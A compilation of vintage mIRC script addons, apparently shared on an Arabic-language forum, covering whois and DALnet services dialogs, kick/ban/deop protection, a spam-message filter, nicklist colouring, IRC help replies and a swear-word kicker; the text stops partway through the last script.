IRcop | halt raw 317:*: set %whois.ide $duration($3) | halt raw 318:*: { if (%whois.nick == $null) { echo -s 15,15·14,14·4,1 ERROR 14,14·15,15·0,0·2,0 $+ $2 no estل en el IRC | unset %whois.* | halt } else { unset %who | whois.v | .disable #whois } } #whois end alias whois.v { dialog -m whi whi } dialog whi { title "©[m0sh] Soft Inc. Whois Info" size -1 -1 350 230 button "Cerrar",1, 270 2 50 20,ok text "Nick:",2, 11 4 120 25 edit "",3, 55 2 100 20, read, autohs text "Host:",4, 11 30 100 25 edit "",5, 55 27 260 20, read, autohs text "Nombre:",6, 11 55 100 25 edit "",7, 55 52 260 20, read, autohs text "Canales:",8, 11 80 100 25 edit "",9, 55 78 260 20, read, autohs text "Servidor:",10, 10 108 100 25 edit "",11, 55 103 260 20, read, autohs text "IRCop:",12, 11 135 100 25 edit "",13, 55 133 120 20, read, autohs text "Away:",14, 11 165 100 25 edit "",15, 55 163 120 20, read, autohs text "Script:",16, 11 195 100 25 edit "",17, 55 193 120 20, read, autohs button "©[m0sh] Soft Inc",20, 170 2 100 20, disabled button "Query",21,180 130 70 20 button "Notice",22,250 130 70 20 button "Ver Ip",23,180 150 70 20 button "U Who",24,250 150 70 20 button "Unignorar",25,180 170 70 20 button "Ignorar",26,250 170 70 20 } on 1:dialog:whi:init:0: { did -a whi 3 %whois.nick did -a whi 5 %whois.host did -a whi 7 %whois.name did -a whi 9 %whois.canales did -a whi 11 %whois.server did -a whi 13 %whois.ircop did -a whi 15 %whois.away did -a whi 17 %whois.script } on 1:dialog:whi:sclick:*: { if ($did == 1) { unset %whois* } if ($did == 21) { query %whois.nick } if ($did == 22) { .timer 1 0 manda.notice } if ($did == 23) { dns %whois.nick } if ($did == 24) { uwho %whois.nick } if ($did == 25) { ignore -r %whois.nick } if ($did == 26) { ignore %whois.nick } } alias manda.notice { if (%whois.nick != $null) { notice %whois.nick $$?="Que notice quieres mandar" } } alias country { if ($readini $mircdir\pais.ini countries $gettok($1,$calc($count($1,.)+ 1),46) != $null) { return $readini $mircdir\pais.ini countries $gettok($1,$calc($count($1,.)+ 1),46) } | else { return Desconocido } } menu Nicklist { &DWhois .Hacer Whois:set %whois.nick $$1 | set %who vent | .enable #whois | .raw whois $$1 | echo -a 4[Dialog 12Whois] a %whois.nick Trazando... .Dwhois: /say Hey $snicks Estoy usando 4[Dialog 12Whois] 4(c)[m0sh] Soft Inc. 12http://ayuda-hoy.cc

صندوق أوامر الدال نتdialog

;Copyrights 2000-2001 © |Jb-Macha| alias service if $dialog(service) == $null { dialog -ma service service } dialog service { title "DALnet Service By |Jb-Macha|" size -1 -1 790 250 button "Done" 1,400 228 40 20,ok box "",2, 2 2 785 220 box "Chanserv",3, 10 12 250 200 box "Nickserv",4, 270 12 250 200 box "Memoserv",5, 530 12 250 200 box "Main",6, 14 30 242 40 button "Register",7, 20 48 50 15 button "Identify",8, 80 48 50 15 button "Drop",9, 140 48 50 15 button "Info",10, 200 48 50 15 box "Add",11, 14 70 242 40 button "Aop",12, 30 86 40 15 button "Sop",13, 70 86 40 15 button "Vop",14, 110 86 40 15 button "Uop",15, 150 86 40 15 button "A-Kick",16, 190 86 50 15 box "Option",17, 14 110 242 40 button "Modes",18, 20 128 50 15 button "Password",19, 70 128 60 15 button "Description",20, 130 128 60 15 button "Url",21, 190 128 60 15 box "Advanced",22, 14 150 242 60 box "Keeptopic",23, 25 165 70 40 button "On",24, 30 182 30 15 button "Off",25, 60 182 30 15 box "Verbose",26, 95 165 70 40 button "On",27, 100 182 30 15 button "Off",28, 130 182 30 15 box "Topic Lock",29, 165 165 70 40 button "On",30, 170 182 30 15 button "Off",31, 200 182 30 15 box "Main",32, 274 30 242 40 button "Register",33, 280 48 50 15 button "Identify",34, 340 48 50 15 button "Drop",35, 400 48 50 15 button "Info",36, 460 48 50 15 box "Set",37, 274 70 242 40 button "KillGhost",38, 280 88 50 15 button "Passwd",39, 340 88 50 15 button "E-mail",40, 400 88 50 15 button "url",41, 460 88 50 15 box "Host",42, 274 110 242 40 button "Null",43, 280 128 50 15,disable button "List",44, 340 128 50 15 button "Add",45, 400 128 50 15 button "Remove",46, 460 128 50 15 box "Advanced",47, 275 150 242 60 box "Kill Option",48, 280 165 70 40 button "On",49, 285 182 30 15 button "Off",50, 315 182 30 15 box "Enforce",51, 350 165 70 40 button "On",52, 355 182 30 15 button "Off",53, 385 182 30 15 box "Null",54, 420 165 70 40,disable button "",55, 425 182 30 15,disable button "",56, 455 182 30 15,disable box "Main",57, 534 30 242 40 button "Send",58, 540 48 50 15 button "Read",59, 600 48 50 15 button "List",60, 660 48 50 15 button "Del All",61, 720 48 50 15 Box "Read" ,62, 534 70 242 60 button "1" ,63, 540 85 20 15 button "2" ,64, 565 85 20 15 button "3" ,65, 590 85 20 15 button "4" ,66, 615 85 20 15 button "5" ,67, 640 85 20 15 button "6" ,68, 665 85 20 15 button "7" ,69, 690 85 20 15 button "8" ,70, 715 85 20 15 button "9" ,71, 740 85 20 15 button "10" ,72, 540 105 20 15 button "11" ,73, 565 105 20 15 button "12" ,74, 590 105 20 15 button "13" ,75, 615 105 20 15 button "14" ,78, 640 105 20 15 button "15" ,79, 665 105 20 15 button "16" ,80, 690 105 20 15 button "17" ,81, 715 105 20 15 button "18" ,82, 740 105 20 15 Box "Del" ,83, 534 140 242 60 button "1" ,84, 540 155 20 15 button "2" ,85, 565 155 20 15 button "3" ,86, 590 155 20 15 button "4" ,87, 615 155 20 15 button "5" ,88, 640 155 20 15 button "6" ,89, 665 155 20 15 button "7" ,90, 690 155 20 15 button "8" ,91, 715 155 20 15 button "9" ,92, 740 155 20 15 button "10" ,93, 540 175 20 15 button "11" ,94, 565 175 20 15 button "12" ,95, 590 175 20 15 button "13" ,96, 615 175 20 15 button "14" ,97, 640 175 20 15 button "15" ,98, 665 175 20 15 button "16" ,99, 690 175 20 15 button "17" ,100, 715 175 20 15 button "18" ,101, 740 175 20 15 } on 1:dialog:service:sclick:*: { if $did == 7 { .cs register #$$?="Channel" $$?*="Password" $$?="Description" } if $did == 8 { .cs identify #$$?="Channel" $$?*="Password" } if $did == 9 { .cs drop #$$?="Channel" } if $did == 10 { .cs info #$$?="Channel" } if $did == 12 { .cs aop #$$?="Channel" add $$?*="Nick" } if $did == 13 { .cs sop #$$?="Channel" add $$?*="Nick" } if $did == 14 { .cs vop #$$?="Channel" add $$?*="Nick" } if $did == 15 { .cs uop #$$?="Channel" add $$?*="Nick" } if $did == 16 { .cs akick #$$?="Channel" add $$?*="Nick" } if $did == 18 { .cs set #$$?="Channel" mlock $$?*="Mode Lock..? Exmp: ie-spmilk+tn" } if $did == 19 { .cs set #$$?="Channel" passwd $$?*="New Password" } if $did == 20 { .cs set #$$?="Channel" desc $$?*="New Description" } if $did == 21 { .cs set #$$?="Channel" url $$?*="New Url" } if $did == 24 { .cs set #$$?="Channel" keeptopic on } if $did == 25 { .cs set #$$?="Channel" keeptopic off } if $did == 27 { .cs set #$$?="Channel" verbose on } if $did == 28 { .cs set #$$?="Channel" verbose off } if $did == 30 { .cs set #$$?="Channel" topiclock #$$?="Founder/Sop" } if $did == 31 { .cs set #$$?="Channel" keeptopic off } if $did == 33 { .ns register $$?="Password" $$?="Email Address" } if $did == 34 { .ns identify $$?="Password" } if $did == 35 { .ns drop $$?="Nick Name" } if $did == 36 { .ns info $$?="What Nick" } if $did == 36 { .ns ghost $$?="What Nick" $$?="Password" } if $did == 37 { .ns set passwd $$?="New Password" } if $did == 38 { .ns set email $$?="New E-Mail" } if $did == 39 { .ns set url $$?="New E-Mail" } if $did == 44 { .ns access list } if $did == 45 { .ns access add $$?="What Nick" } if $did == 46 { .ns access del $$?="What Nick" } if $did == 49 { .ns set kill on } if $did == 50 { .ns set kill off } if $did == 52 { .ns set enforce on } if $did == 53 { .ns set enforce off } if $did == 58 { .ms send $$?="Channel Or Person" $$?="Messages" } if $did == 59 { .ms read $$?="Number ..? Exmp: 1" } if $did == 60 { .ms list } if $did == 61 { .ms del all } if $did == 63 { .ms read 1 } if $did == 64 { .ms read 2 } if $did == 65 { .ms read 3 } if $did == 66 { .ms read 4 } if $did == 67 { .ms read 5 } if $did == 68 { .ms read 6 } if $did == 69 { .ms read 7 } if $did == 70 { .ms read 8 } if $did == 71 { .ms read 9 } if $did == 72 { .ms read 10 } if $did == 73 { .ms read 11 } if $did == 74 { .ms read 12 } if $did == 75 { .ms read 13 } if $did == 78 { .ms read 14 } if $did == 79 { .ms read 15 } if $did == 80 { .ms read 16 } if $did == 81 { .ms read 17 } if $did == 82 { .ms read 18 } if $did == 84 { .ms del 1 } if $did == 85 { .ms del 2 } if $did == 86 { .ms del 3 } if $did == 87 { .ms del 4 } if $did == 88 { .ms del 5 } if $did == 89 { .ms del 6 } if $did == 90 { .ms del 7 } if $did == 91 { .ms del 8 } if $did == 92 { .ms del 9 } if $did == 93 { .ms del 10 } if $did == 94 { .ms del 11 } if $did == 95 { .ms del 12 } if $did == 96 { .ms del 13 } if $did == 97 { .ms del 14 } if $did == 98 { .ms del 15 } if $did == 99 { .ms del 16 } if $did == 100 { .ms del 17 } if $did == 101 { .ms del 18 } } alias ms /memoserv $1- alias cs /chanserv $1- alias ns /nickserv $1- menu menubar { Service:/service

حماية من الككkickprot on

ON 1:LOAD: { .echo -a ViRTuE`S Personal Kick Protectiun Succesfully Loaded!! } #kickprot on ON 1:KICK:#: { if ($nick == Chanserv) && ($nick == $server) { halt } if ($nick != $me) && ($knick == $me) { .set %kickernick $nick .set %kickedchan $chan .join %kickedchan .mode %kickedchan -o %kickernick | .mode %kickedchan +b %kickernick | kick %kickedchan %kickernick DoN`T KiCK Me %kickernick | unset %kickernick | unset %kickedchan } } #kickprot end menu menubar { Personal Kick Protection .On:/enable #kickprot .Off:/disable #kickprot }

بروتكشن

;plz Don't Delet this Heder This A Part Of The Script By ™TeamX™ ® ;This Protest Addon is By ™TeamX™ ® Scripting Team Any Help Please Email us WebMaster@The-TeamX.com Or You Can Email The Auther The_Killer@The-TeamX.com Or Vist Our WebSite Http://www.The-TeamX.com #banpro on on *:ban:#:{ if $banmask == $address($me,1) { mode $chan -ob+b $nick $banmask $address($nick,3) | kick $chan $nick --==¤¤( %tps ) (( 1B2a3n 4P5r6o7t10e14c15t1i2o3n))¤¤==-- } if $banmask == $address($me,2) { mode $chan -ob+b $nick $banmask $address($nick,3) | kick $chan $nick --==¤¤( %tps ) (( 1B2a3n 4P5r6o7t10e14c15t1i2o3n))¤¤==-- } if $banmask == $address($me,3) { mode $chan -ob+b $nick $banmask $address($nick,3) | kick $chan $nick --==¤¤( %tps ) ((1B2a3n 4P5r6o7t10e14c15t1i2o3n ))¤¤==-- } if $banmask == $address($me,4) { mode $chan -ob+b $nick $banmask $address($nick,3) | kick $chan $nick --==¤¤( %tps ) (( 1B2a3n 4P5r6o7t10e14c15t1i2o3n ))¤¤==-- } } #banpro end #deoppro on on *:deop:# $me: if ($opnick = $me) { Msg $nick 1A2c3t4i5v6a7t10e11d 14D15e1o2p 3P4r5o6t7e10c11t14i15o1n 11,1You Deop Me You Will Be Kickd Now Bye Bye Man !! :) %ver | msg chanserv op $chan $me | msg chanserv deop $chan $nick | /kick # $nick --==¤¤ ( %kmsg ) ((14D15e1o2p 3P4r5o6t7e10c11t14i15o1n))¤¤==-- | /ban # $nick | } #deoppro end #kickpro on on *:kick:# $me: if ($opnick = $me) { /notice $nick 1A2c3t4i5v6a7t10e14d 15K1i2c3k 4P5r6o7t10e14c15t1i2o3n ( %Kmsg ) | /msg chanserv unban # $me | /join # | /msg chanserv deop $chan $nick | msg chanserv unban # $me | /join # | /kick # $nick --==¤¤ 15K1i2c3k 4P5r6o7t10e14c15t1i2o3n ¤¤==-- %ver } #kickpro end on *:notice:*All bans on # for $me have been cleared*:*:/join # menu menubar,channel,status { Protect Script .ban Protection ..On :/.enable #banpro | /echo 12***5 Ban Protection is Now On %teamX ..OFF :/.Disable #banpro | /echo 12***5 Ban Protection is Now Off %teamX .Deop Protrction ..On :/.enable #deoppro | /echo 12***5 Deop Protection is Now On %teamX ..OFF :/.Disable #deoppro | /echo 12***5 Deop Protection is Now Off %teamX .Kick Protection ..On :/.enable #kickpro | /echo 12***5 Kick Protection is Now On %teamX ..Off :/.Disable #Kickpro | /echo 12*** 5Kick Protection is Now Off %teamX } on *:LOAD: { .echo 4,4||0,2Protect Script4,4|| 5 loaded. Made by The_Killer .echo 6Thanks for using our addon. Please vist http://www.TeamX.com for more! .echo 6Any Help You Want Just Email me The_Killer@The-TeamX.com .echo 6Or Go TO /server Q8.Elit.org And Ask About Me on #Root Or #Q8 .Set %teamX 4[[0,2 TeamX Scripting Team 4]] .set %tps 2,2||0,2Protect Script2,2|

BanProtect Dialog v0,2

;BanProtect Dialog v0,2 ;DO NOT RIP! ;ti4s @ Micro-X-Scripterz Team ; menu menubar,channel,query { ban protect:dialog -m banprotect banprotect } dialog banprotect { title "Ban Protection" size -1 -1 200 140 button "&Ok", 1, 45 115 60 20, ok button "Can&cel", 11, 115 115 60 20, cancel text "Kanal(er):", 5, 10 15 80 15 edit "", 6,10 30 90 20, autohs, center text "Kick Msg:", 7, 10 55 80 15 edit "", 8,10 70 180 20, autohs, center check "On/Off", 10, 10 100 120 15 } on *:dialog:banprotect:init:*:{ if (%banprotectkickmsg != $null) { did -a banprotect 8 %banprotectkickmsg } if (%banprotectchannels != $null) { did -a banprotect 6 %banprotectchannels } if (%banprotect == on ) { did -c banprotect 10 } } on *:dialog:banprotect:sclick:*:{ if ($did(banprotect,10).state == 1) { did -e banprotect 10 set %banprotect on } else { set %banprotect off set %banprotectchannels none } } on *:dialog:banprotect:edit:*:{ if ($did == 8) { set %banprotectkickmsg $did(banprotect,8) } if ($did == 6) { set %banprotectchannels $did(banprotect,6) } } on *:BAN:#:{ if ($banmask iswm $address($me,5)) && (%banprotect != off) && ($chan == %banprotectchannels) { set -u20 %bchan $chan | set -u20 %bnick $nick | echo -at $timestamp *** Ban set on you in %bchan $+ , set by %bnick $+ . Removing... | /chanserv op %bchan $me | mode %bchan -b $banmask } }

اقنور انفايت مسج

#Pornblock on on 1pb:OPEN:?: { if ( *@discover* isin $pmsg ) goto Msg if ( *leach* isin $pmsg ) goto Msg if ( *#* isin $pmsg ) goto pornmsg if ( sex isin $pmsg ) goto pornmsg if ( *hardcore* isin $pmsg ) goto pornmsg if ( *http* isin $pmsg ) goto pornmsg if ( *www* isin $pmsg ) goto pornmsg else { halt } :pornmsg msg $nick 9,1 -={7 Your message has been 9ignored 7,1(8,1suspected porn advertising. So get a life7,1) 9}=- timer 1 .1 closemsg $nick halt :msg timer 1 .1 closemsg $nick halt } #Pornblock end

صندوق لتغير ألوان النكاتdialog

; type: remote ; author: KrEMb0 ; manual: this is a s1mple nicklist c0l0rer which c0l0rs your nickname ; list with c0l0rs you choose for me/op/help/voice/reg/ignore/notify ; ; Load into remotes. ; ; enj0y :| #cnl on on *:join:#:{ if ($nick == $me) { .timer -m 1 1 make.co } else { if ($nick isreg $chan) { cline %cnl.reg $chan $nick } if ($nick isvo $chan) { cline %cnl.voice $chan $nick } if ($nick ishelp $chan) { cline %cnl.help $chan $nick } if ($nick isop $chan) { cline %cnl.op $chan $nick } if ($nick == $me) { cline %cnl.me $chan $nick } if ($nick isnotify) { cline %cnl.notify $chan $nick } if ($nick $+ !*@* isignore) { cline %cnl.ignore $chan $nick } } } on *:OP:#:{ if ($opnick == $me) { cline %cnl.me $chan $opnick | halt } if ($opnick isnotify) { cline %cnl.notify $chan $opnick | halt } if ($opnick $+ !*@* isignore) { cline %cnl.ignore $chan $opnick | halt } cline %cnl.op $chan $opnick } on *:serverOP:#:{ if ($opnick == $me) { cline %cnl.me $chan $opnick | halt } if ($opnick isnotify) { cline %cnl.notify $chan $opnick | halt } if ($opnick $+ !*@* isignore) { cline %cnl.ignore $chan $opnick | halt } cline %cnl.op $chan $opnick } on *:DEOP:#:{ if ($opnick == $me) { cline %cnl.me $chan $opnick | halt } if ($opnick ishelp $chan) { cline %cnl.voice $chan $opnick | halt } if ($opnick isvo $chan) { cline %cnl.voice $chan $opnick | halt } if ($opnick isnotify) { cline %cnl.notify $chan $opnick | halt } if ($opnick $+ !*@* isignore) { cline %cnl.ignore $chan $opnick | halt } cline %cnl.reg $chan $opnick } on *:HELP:#:{ if ($hnick == $me) { cline %cnl.me $chan $hnick | halt } if ($hnick isnotify) { cline %cnl.notify $chan $hnick | halt } if ($hnick $+ !*@* isignore) { cline %cnl.ignore $chan $hnick | halt } if ($hnick isop $chan) { cline %cnl.op $chan $hnick | halt } cline %cnl.help $chan $hnick } on *:DEHELP:#:{ if ($hnick == $me) { cline %cnl.me $chan $hnick | halt } if ($hnick isop $chan) { cline %cnl.op $chan $hnick | halt } if ($hnick isnotify) { cline %cnl.notify $chan $hnick | halt } if ($hnick $+ !*@* isignore) { cline %cnl.ignore $chan $hnick | halt } if ($hnick isvo $chan) { cline %cnl.voice $chan $hnick | halt } cline %cnl.reg $chan $hnick } on *:VOICE:#:{ if ($vnick == $me) { cline %cnl.me $chan $vnick | halt } if ($vnick isnotify) { cline %cnl.notify $chan $vnick | halt } if ($vnick $+ !*@* isignore) { cline %cnl.ignore $chan $vnick | halt } if ($vnick isop $chan) { cline %cnl.op $chan $vnick | halt } if ($vnick ishelp $chan) { cline %cnl.help $chan $vnick | halt } cline %cnl.voice $chan $vnick } on *:DEVOICE:#:{ if ($vnick == $me) { cline %cnl.me $chan $vnick | halt } if ($vnick isnotify) { cline %cnl.notify $chan $vnick | halt } if ($vnick $+ !*@* isignore) { cline %cnl.ignore $chan $vnick | halt } if ($vnick isop $chan) { cline %cnl.op $chan $vnick | halt } if ($vnick ishelp $chan) { cline %cnl.help $chan $vnick | halt } cline %cnl.reg $chan $vnick } #cnl end dialog cnl { title "NickList Color" size -1 -1 0 0 button "&OK",1, 30 245 50 25,ok,default button "Cancel",2, 80 245 50 25,cancel text "This Dialog Created By KrEMb0" ,99, 30 280 1000 1000 box "Me",3, 30 10 100 50 combo 4, 40 30 80 100,drop box "Op Color",5, 170 10 100 50psd combo 6, 180 30 80 100,drop box "Help Color",7, 170 80 100 50 combo 8, 180 100 80 100,drop box "Voice Color",9, 170 150 100 50 combo 10, 180 170 80 100,drop box "Reg Color",11, 170 220 100 50 combo 12, 180 240 80 100,drop box "Notify`s Color" ,13, 30 80 100 50 combo 14, 40 100 80 100,drop box "Ignored Color" ,15, 30 150 100 50 combo 16, 40 170 80 100,drop radio "on",17, 38 220 30 15 radio "off",18, 88 220 30 15 } on *:dialog:cnl:init:0:{ %anim.cnl = 0 | .timer_anim_cnl -m 0 1 anim.cnl did -i cnl 4,6,8,10,12,14,16 1 White (0) did -i cnl 4,6,8,10,12,14,16 2 Black (1) did -i cnl 4,6,8,10,12,14,16 3 Blue (2) did -i cnl 4,6,8,10,12,14,16 4 Green (3) did -i cnl 4,6,8,10,12,14,16 5 LightRed (4) did -i cnl 4,6,8,10,12,14,16 6 Brown (5) did -i cnl 4,6,8,10,12,14,16 7 Purple (6) did -i cnl 4,6,8,10,12,14,16 8 Orange (7) did -i cnl 4,6,8,10,12,14,16 9 Yellow (8) did -i cnl 4,6,8,10,12,14,16 10 LightGreen (9) did -i cnl 4,6,8,10,12,14,16 11 Cyan (10) did -i cnl 4,6,8,10,12,14,16 12 LightCyan (11) did -i cnl 4,6,8,10,12,14,16 13 LightBlue (12) did -i cnl 4,6,8,10,12,14,16 14 Pink (13) did -i cnl 4,6,8,10,12,14,16 15 Grey (14) did -i cnl 4,6,8,10,12,14,16 16 LightGrey (15) did -c cnl 4 $calc(%cnl.me +1) did -c cnl 6 $calc(%cnl.op +1) did -c cnl 8 $calc(%cnl.help +1) did -c cnl 10 $calc(%cnl.voice +1) did -c cnl 12 $calc(%cnl.reg +1) did -c cnl 14 $calc(%cnl.notify +1) did -c cnl 16 $calc(%cnl.ignore +1) if ($group(#cnl) == on) { did -c $dname 17 } if ($group(#cnl) == off) { did -c $dname 18 | did -b $dname 3,4,5,6,7,8,9,10,11,12,13,14,15,16 } } on *:dialog:cnl:*:1:{ set %cnl.me $calc($did(cnl,4).sel -1) set %cnl.op $calc($did(cnl,6).sel -1) set %cnl.help $calc($did(cnl,8).sel -1) set %cnl.voice $calc($did(cnl,10).sel -1) set %cnl.reg $calc($did(cnl,12).sel -1) set %cnl.notify $calc($did(cnl,14).sel -1) set %cnl.ignore $calc($did(cnl,16).sel -1) if ($did(cnl,17).state == 1) { .enable #cnl | make.co } if ($did(cnl,18).state == 1) { .disable #cnl | un.co } } on *:DIALOG:cnl:sclick:17:{ did -e $dname 3,4,5,6,7,8,9,10,11,12,13,14,15,16 } on *:DIALOG:cnl:sclick:18:{ did -b $dname 3,4,5,6,7,8,9,10,11,12,13,14,15,16 } alias make.co { set -u0 %i 1 while (%i <= $chan(0)) { set -u0 %j 1 while (%j <= $nick($chan(%i),0)) { if ($nick($chan(%i),%j) isreg $chan(%i)) { cline %cnl.reg $chan(%i) $nick($chan(%i),%j)) } if ($nick($chan(%i),%j) isvo $chan(%i)) { cline %cnl.voice $chan(%i) $nick($chan(%i),%j)) } if ($nick($chan(%i),%j) ishelp $chan(%i)) { cline %cnl.help $chan(%i) $nick($chan(%i),%j)) } if ($nick($chan(%i),%j) isop $chan(%i)) { cline %cnl.op $chan(%i) $nick($chan(%i),%j)) } if ($nick($chan(%i),%j) == $me) { cline %cnl.me $chan(%i) $nick($chan(%i),%j)) } if ($nick($chan(%i),%j) isnotify) { cline %cnl.notify $chan(%i) $nick($chan(%i),%j)) } if ($nick($chan(%i),%j) $+ !*@* isignore) { cline %cnl.ignore $chan(%i) $nick($chan(%i),%j)) } inc %j } inc %i } } alias un.co { set -u0 %i 1 while (%i <= $chan(0)) { set -u0 %j 1 while (%j <= $nick($chan(%i),0)) { if ($nick($chan(%i),%j) ison $chan(%i)) { cline 01 $chan(%i) $nick($chan(%i),%j)) } inc %j } inc %i } } alias cnl { dialog -m cnl cnl } alias anim.cnl { if ((%anim.cnl == 300) || ($dialog(cnl) == $null)) { .timer_anim_cnl off | unset %anim.cnl } | else { dialog -s cnl 250 150 300 %anim.cnl | inc %anim.cnl 5 } } menu menubar,channel { Nicklist Colors:/cnl }

أوامر للمساعدة 

Help User .Nick ..Register:/say $+ $$1 $+ , to register your nick, type: /msg NickServ@services.dal.net REGISTER password hotmail ( i.e. /msg NickServ@services.dal.net REGISTER AsDw23 ha@hotmail.com ) ..Identify:/say $+ $$1 $+ , to identify to your nick, type (using the nick you wish to identify to): /msg NickServ@services.dal.net IDENTIFY password ( i.e. /msg NickServ@services.dal.net IDENTIFY AsDw23 ) ..Drop:/say $+ $$1 $+ , to drop a nick, first identify as the founder of it, then type: /msg NickServ@services.dal.net DROP nick ( i.e. /msg ChanServ@services.dal.net DROP $me ) ..Ghost:/say $+ $$1 $+ , if someone is using your nick, type: /msg ChanServ@services.dal.net GHOST nick password ( i.e. /msg NickServ@services.dal.net GHOST $me AsDw23 ) ..Release:/say $+ $$1 $+ , if your nick is being help by NickServ, type: /msg ChanServ@services.dal.net RELEASE nick password ( i.e. /msg NickServ@services.dal.net RELEASE $me AsDw13 ) ..Kill On:/say $+ $$1 $+ , to set the nick kill option on for your nick, first, identify as the founder, then type (using the nick you wish to set kill on for): /msg NickServ@services.dal.net SET KILL ON ..New Nick:/say $+ $$1 $+ , to change nick, type: /nick new-nick .Channel ..Register:/say $+ $$1 $+ , to register a channel, type: /msg ChanServ@services.dal.net REGISTER #chan-name password description ( i.e. /msg ChanServ@services.dal.net REGISTER # AsDw23 Help and Chat Channel ) ..Identify:/say $+ $$1 $+ , to identify as founder of a channel, type: /msg ChanServ@services.dal.net IDENTIFY #chan-name password ( i.e. /msg ChanServ@services.dal.net IDENTIFY # AsDw23 ) ..Drop:/say $+ $$1 $+ , to drop a channel, first, identify as the founder, then type: /msg ChanServ@services.dal.net DROP #chan-name ( i.e. /msg ChanServ@services.dal.net DROP # ) ..Info:/say $+ $$1 $+ , to see info on a channel, type: /msg ChanServ@services.dal.net INFO #chan-name ( i.e. /msg ChanServ@services.dal.net INFO # ) ..- ..Aop ...Add:/say $+ $$1 $+ , to add an aop, first, you must be an sop or founder, if so, type: /msg ChanServ@services.dal.net AOP #chan-name ADD Nick|Mask ( i.e. /msg ChanServ@services.dal.net AOP # ADD $me ) ...Del:/say $+ $$1 $+ , to delete an aop, first, you must be an sop or founder, if so, type: /msg ChanServ@services.dal.net AOP #chan-name DEL Mask|Num ( i.e. /msg ChanServ@services.dal.net AOP # DEL 1 ) ...List:/say $+ $$1 $+ , to get a list of aops, first, you must be at least an aop, if so, type: /msg ChanServ@services.dal.net AOP #chan-name LIST ( i.e. /msg ChanServ@services.dal.net AOP # LIST ) ..Sop ...Add:/say $+ $$1 $+ , to add an sop, first, you must have founder access, if so, type: /msg ChanServ@services.dal.net SOP #chan-name ADD Nick|Mask ( i.e. /msg ChanServ@services.dal.net SOP # ADD $me ) ...Del:/say $+ $$1 $+ , to delete an aop, first, you must have founder access, if so, type: /msg ChanServ@services.dal.net SOP #chan-name DEL Mask|Num ( i.e. /msg ChanServ@services.dal.net SOP # DEL 1 ) ...List:/say $+ $$1 $+ , to get a list of aops, first, you must be at least an aop, if so, type: /msg ChanServ@services.dal.net SOP #chan-name LIST ( i.e. /msg ChanServ@services.dal.net SOP # LIST ) ..- ..Topic:/say $+ $$1 $+ , to change a topic of a channel, type: /topic #chan-name new topic here ( i.e. /topic # Welcome To The Place For Casual Chat! ) {if the channel is set to +t, only ops may change the topic} .Webs ..mIRC H/P:/say $+ $$1 $+ , the mIRC HomePage can be found at: http://www.mirc.co.uk ..Scripts:/say $+ $$1 $+ , a good place for mIRC Scripts would be: http://www.xcalibre.com/ or http://www.mircx.com/ ..IRCop:/say $+ $$1 $+ , for information on becoming an ircop, goto: http://www.rollanet.org/~acolman/ircoper.html ..Internet:/say $+ $$1 $+ , for internet software, you can check out: http://tucows.cableinet.net/ ..AOL:/say $+ $$1 $+ , for help accessing DALnet via AOL, goto: http://members.aol.com/mirc/ <or> http://www.dal.net/howto/aolhelp.html .Private ..Msg:/say $+ $$1 $+ , to private message someone (msg), type: /msg nick message ( i.e. /msg $me Hi, what's up? ) ..Notice:/say $+ $$1 $+ , to send someone a private notice, type: /notice nick message ( i.e. /notice $me Hi, what's up? ) ..DCC Chat:/say $+ $$1 $+ , to dcc chat someone, type: /dcc chat nick .Other ..List:/say $+ $$1 $+ , to list channels type: /list ( some server may disconnect you, if this happens, you can try a server like mindijari.dal.net ) ..Dcc:/say $+ $$1 $+ , if you're having problems with DCC Chat/Send: Disconnect from IRC, then goto Setup/Local Info, and clear the [Local Host] and [IP Address] boxes, and goto 'On Connect Always Get:' and make sure '[ ] Local Host' is checked. Then, reconnect...If that doesn't work, try changing Normal to Server, or vice-versa ..Ping:/say $+ $$1 $+ , a ping is a way for someone to check how long it takes their message to get to you, its nothing to worry about. ( use /ctcp nick PING to ping someone ) ..Voice:/say $+ $$1 $+ , voice means that if a channel were set to +m(moderated), only people with voice(+) and op(@) may speak. In most channels it usually means that you are closer to being an op. ..Action:/say $+ $$1 $+ , to do an action, type: /me your action ( i.e. /me is glad he could get help ) ..Cut/Paste:/say $+ $$1 $+ , to cut and paste: highlight a text, by clicking and dragging your mouse over it, then hit ctrl+c ( use ctrl+v to paste the text ) ..Whois:/say $+ $$1 $+ , to find a nick on IRC, type: /whois nick ( i.e. /whois $me ) {This only works if the person is on IRC at that moment} ..Notify ...Def:/say $+ $$1 $+ , when you put nicks in your notify list, it tells you when that person joins/leaves IRC ...Add:/say $+ $$1 $+ , to add/del a nick from your notify, type: /notify nick ( i.e. /notify $me )

صندوق للكلام الوصخ dialog

on *:load:if ($version >= 5.91) { echo -a 15,1loaded simple Bad Word Detecdt | echo -a 0,1 Visit Home page http://WWW.WELCOME.TO/SKOOD } | else { echo $colour(info) -a * mirc version: $version - v5.8 needed, get newer , unloading.. | .unload -rs $script } on @*:TEXT:*:#:{ var %p = 0 while (%p < $numtok($1-,32)) { inc %p if ($istok(%badwords,$gettok($1-,%p,32),32)) && (%badword.detect == on) { ban -u180 # $nick 2 kick # $nick 14Sw2ea14r kick ( $+ $gettok($1-,%p,32),32) $+ ) 2P5r14o2t10e2c14t1i2o14n 2D14i2G14i2T14a2L 2v1422140021422 } } } alias badword { if ($1 == add) { set %badwords $addtok(%badwords,$2,32) echo -a 14»1»15»1 Added $2 to Bad words list } if ($1 == del) { if ($istok(%badwords,$2,32)) { set %badwords $remtok(%badwords,$2,32) echo -a 14»1»15»1 Deleted $2 from Bad words list } } if ($1 == delall) { unset %badwords echo -a 14»1»15»1 Bad word list in now empty } if ($1 == list) { if ($window(@Badwords-List) == $null) { window -ab @BadWords-List } if ($numtok(%badwords,32) == 0) { aline @BadWords-List 14»1»15»1 No Words in Bad word list | halt } aline @BadWords-List 14»1»14»1 Listing Bad words from list 4 ( $+ $numtok(%badwords,32) $+ ) var %n = 1 while (%n <= $numtok(%badwords,32)) { aline $color(info 2) @Badwords-List 4»»» $gettok(%badwords,%n,32) inc %n } aline @BadWords-List 14»1»15»1 End of list .. } } alias Badword dialog -m Badword Badword dialog Badword { title "DiGiTaL v2002" size -1 -1 355 200 button "«:CLOSE:»"2, 25 125 300 25,ok button "«:Swear kick On:»"3, 25 25 150 25 button "«:Swear Off:»"4, 175 25 150 25 button "«:Add Swear:»"5, 25 50 150 25 button "«:Del Swear:»"6, 175 50 150 25 button "«:Clear All Swear From List:»"7, 25 75 300 25 button "«:Veiw Swear List:»"8, 25 100 300 25 icon 22, 25 145 300 40,bara2.bmp box "WWW.WELCOME.TO/SKOOD"9, 2 1 350 190 } on 